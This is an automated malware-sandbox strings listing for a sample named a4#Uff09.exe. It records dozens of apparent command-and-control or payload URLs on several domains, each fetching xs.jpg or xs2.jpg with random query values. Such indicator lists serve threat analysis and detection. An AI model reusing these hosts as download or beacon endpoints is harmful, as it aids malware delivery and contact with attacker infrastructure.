Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?1060ca6a=274778730
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?1060ca6a=274778730p
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?11278f4=35975656
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?161f466b=-954631741
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?161f466b=-954631741d
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?405f97f=337502075
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?405f97f=337502075mages/xs2.jpg?1
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?405f97f=337502075q0
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?4ad634=19618000
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?4ad634=19618000b=
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?4dcd7ad9=-1684343374
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?62d8d9eb=-978209834
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?62d8d9eb=-978209834w
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?6d101724=18297710447
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?6d101724=1829771044Y
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?71f31a93=1911757459
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?902eb4=18898280
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?95c34f28=-1373996736
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?9689baab=499391149
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?9689baab=4993911490
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?f284da7c=-2035569060
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?f284da7c=-2035569060LMEMH
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpg?f284da7c=-2035569060V
Source: a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://althawry.org/images/xs.jpghttp://www.careerdesk.org/images/xs.jpghttp://arthur.niria.biz/xs.j
Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg
Source: a4#Uff09.exe, 00000000.00000002.3895454085.0000000006256000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?1
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?174d281=24433281
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?1a
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?1y
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?28f128c=128792484Ld
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?35a0bf9=562329530
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?43295c0=563392000
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?438725f0=-1555596448
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?438725f0=-1555596448pk
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?53338f=5452687
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?654fad3=956092779
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?726fcf90=1464823472
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?8615d526=816752944
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?8ace3555=-1966197419
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?9010004=906362904
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?9010004=906362904d
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?d0e92fe1=-1580048446
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?d8491e75=1629780436
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?e9bb0874=558781576
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?f1d24191=-713636685
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?fa5e26a2=-188986044
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?fa5e26a2=-188986044S
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ampyazilim.com.tr/images/xs2.jpg?ff1499a4=-30854328
Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?1197e44d=590334106
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?19388a30=-63609376
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?19388a30=-6360937626
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?19388a30=-63609376Z3
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?19388a30=-63609376lication
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?19388a30=-63609376w
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?1d746406=988334092
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?267b74a=242109372
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?350b0141=1779827330
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?350b0141=177982733064
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?35b8cb69=901303145
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?35b8cb69=901303145-5
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?35b8cb69=901303145n5
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?3c258f85=1759599902
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?4dbd9c=35663684
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?4dbd9c=35663684=
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?6b868a19=1546932424
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?6b868a19=154693242425
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?82d33341=379165192
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?98d0501e=-131915476
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?98d0501e=-131915476e
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?a0c33157=-2096315044
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?afba421d=-837300533
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?b44a4f65=-785826412
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?b44a4f65=-78582641223
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?b4b86da5=255084658
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?bc17dc7b=614926173
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?bd2a612f=931079053b2
Source: a4#Uff09.exe, 00000000.00000002.3895454085.00000000061F9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?c2637a3e=1354258354
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://amsamex.com/xs.jpg?f4282fb=768051441
Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?14ce734=130902840F=V%
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?1d23ecfe=-872711438D
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?1d23ecfe=-872711438K
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?229aaa09=-1392160211
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?36d200da=303694914
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?36d200da=3036949144
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?36d200da=303694914Z
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?3c5dbe75=2025553130
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?3c5dbe75=2025553130J
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?3c813930=1561082848
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?3c813930=1561082848F
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?4dbdbb=20379372
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?5648852=90474578
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?83277979=211674596
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?83277979=211674596h
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?84b746ce=-1910123414
Source: a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?b092bd4e=891856830
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?b092bd4e=8918568300
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?b092bd4e=891856830TGL$
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?b7b144=96307744C
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?bbc08714=859936060
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?bbc08714=859936060t
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpg?c2b7c0a5=-2056289974
Source: a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: http://apple-pie.in/images/xs.jpgs.jpg
Source: a4#Uff09.exe, a4#Uff09.exe, 00000000.00000003.1257485545.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3834789318.0000000003F5B000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3851057210.0000000004963000.00000004.10000000.00040000.00000000.sdmp, a4#Uff09.exe, 00000000.00000003.1257352499.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.0000000001208000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3810524933.000000000120E000.00000004.00000010.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmp String found in binary or memory: http://arthur.niria.biz/xs.jpg
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arthur.niria.biz/xs.jpg?254323e7=625157095
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arthur.niria.biz/xs.jpg?4cac3c=10049656
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arthur.niria.biz/xs.jpg?4fd89b2a=-552361220
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E95000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arthur.niria.biz/xs.jpg?4fd89b2a=-552361220Windows
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arthur.niria.biz/xs.jpg?4fd89b2a=-552361220u1
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arthur.niria.biz/xs.jpg?532c9a1d=1178089163
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arthur.niria.biz/xs.jpg?7bdce87=12987968704
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arthur.niria.biz/xs.jpg?7f9835e0=2113473888
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arthur.niria.biz/xs.jpg?ad82783c=429275676
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arthur.niria.biz/xs.jpg?ad82783c=429275676g1
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp, a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arthur.niria.biz/xs.jpg?b14fbec7=1003336959
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arthur.niria.biz/xs.jpg?b14fbec7=1003336959/1&%
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000EB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arthur.niria.biz/xs.jpg?b14fbec7=1003336959f
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arthur.niria.biz/xs.jpg?bec5d02e=1011970186%0
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arthur.niria.biz/xs.jpg?bec5d02e=1011970186c0
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arthur.niria.biz/xs.jpg?e470f49d=1520810926
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arthur.niria.biz/xs.jpg?e8e2ac16=1968179332
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arthur.niria.biz/xs.jpg?e8e2ac16=1968179332G0
Source: a4#Uff09.exe, 00000000.00000002.3795310600.0000000000E57000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://arthur.niria.biz/xs.jpg?f4c69117=-1506506568
